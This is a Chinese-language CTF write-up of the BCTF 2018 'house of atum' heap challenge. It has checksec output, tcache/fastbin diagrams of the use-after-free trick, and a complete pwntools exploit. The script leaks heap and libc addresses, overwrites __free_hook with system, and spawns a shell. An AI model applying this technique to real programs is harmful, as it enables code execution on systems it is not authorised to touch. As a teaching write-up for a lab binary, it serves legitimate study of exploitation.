BCTF 2018 house of atum
建议和three一起做.很多逻辑都差不多 增加了一个edit功能 但是减少了一个可以控制的point magic of tcache & fast bin
checksec
➜ Desktop checksec houseofAtum
[*] '/home/n132/Desktop/houseofAtum'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
全保护 主要的漏洞点也和three 一样:uaf
➜ Desktop checksec houseofAtum
[*] '/home/n132/Desktop/houseofAtum'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
➜ Desktop
但是主要的限制是:
if ( v1 < 0 || v1 > 1 || !notes[v1] )
return puts("No such note!");
开始的时候自己画了半天感觉如果单凭tcache 用两个point是不可能的… 最后偷偷看了Ne0师傅的wp Ne0 发现自己的思维还是太禁锢…
add()#0
add()#1
for x in range(7):
free(0)
free(1)
#break point 1
free(0)
#break point 2
beak point 1 处 堆内存分布:
tcache a
+-------+ +-----------+-----------+
| +-------------+ | prev_size | size |
+-------+ | +-----------+-----------+
| | +------> fd <-------+
+-------+ | | |
| | | | |
+-------+ +------------+----------+ |
| |
+------------------+
fastbin b
+-------+ +-----------+-----------+
| +-------------+ | prev_size | size |
+-------+ | +-----------+-----------+
| | +------> fd |
+-------+ | |
| | | |
+-------+ +-----------------------+
beak point 2 处 堆内存分布:
tcache a
+-------+ +-----------+-----------+
| +-------------+ | prev_size | size |
+-------+ | +-----------+-----------+
| | +------> fd +-------+
+-------+ | | |
| | | | |
+-------+ +-----------------------+ |
|
+---+
|
fastbin a | b
+-------+ +-----------+-----------+ | +-----------+-----------+
| +-------------+ | prev_size | size | +-+-> prev_size | size |
+-------+ | +-----------+-----------+ | +-----------+-----------+
| | +------> fd=b +-+ | fd=0 |
+-------+ | | | |
| | | | | |
+-------+ +-----------------------+ +-----------------------+
这样子我们就可以吧chunk B的开始地址链在tcache上
那么在我们将tcache上的chunk A+10 chunk B取下之后tcache 上将会留下我们设置的目标
之后我们只要盖掉chunk B 的size位删除后再次malloc 就可以得到 我们的目标
__free_hook
然后getshell* get heap base#u need it
* use house of atum
* add(p64(0x21)*7+p64(0x61)+p61(heap+0x250))
* add()
* free(0)*7
* free(1),free(0)
* add(),add()
* free(0x2a0) to tcache(0x60)
* add()# get 0x250
* modify chunk_size (0x260)
* free 0x260 to fill tcache
* free 0x260 to unsorted bin
* show to get libc_base
* modify: __free_hook --> system
* free /bin/sh
from pwn import *
def cmd(c):
p.sendlineafter("choice:",str(c))
def add(data=p64(0x11)*9):
cmd(1)
p.sendafter("tent:",data)
def edit(idx,data):
cmd(2)
p.sendlineafter("idx:",str(idx))
p.sendafter("tent:",data)
def free(idx,mode=0):
cmd(3)
p.sendlineafter("idx:",str(idx))
if(mode==0):
p.sendlineafter(":",'n')
else:
p.sendlineafter(":",'y')
def show(idx):
cmd(4)
p.sendlineafter("idx:",str(idx))
p=process("./houseofAtum")
binary=ELF("./houseofAtum")
add()#0
add()#1
free(1,1)
free(0,1)
add("\x0a")
#context.log_level='debug'
show(0)
p.readuntil("tent:\n")
heap=u64(("\x00"+p.readline()[:-1]).ljust(8,'\x00'))-0x200
log.warning("heap>%s",hex(heap))
free(0,1)
add(p64(0x21)*7+p64(0x61)+p64(heap+0x250))
add()
for x in range(7):
free(0)
free(1,1)
free(0,1)
add('0')
add('0')
free(1,1)
add(p64(0)+p64(0x91))
for x in range(7):
free(0)
free(0,1)
edit(1,"A"*16)
show(1)
p.readuntil("A"*16)
base=u64(p.readline()[:-1].ljust(8,'\x00'))-(0x7ffff7dcfca0-0x00007ffff79e4000)
log.warning(hex(base))
binary=ELF("./houseofAtum")
libc=binary.libc
libc.address=base
edit(1,p64(0)+p64(0x51)+p64(0))
add(p64(0xcafebabe))
free(0,1)
edit(1,p64(0)+p64(0x61)+p64(libc.symbols['__free_hook']))
add(p64(0))
free(0,1)
add(p64(libc.symbols['system']))
edit(1,"/bin/sh")
cmd(3)
p.sendlineafter("idx:","1")
p.sendline("clear")
p.interactive("\033[1;31;40m n132>>> \033[0m")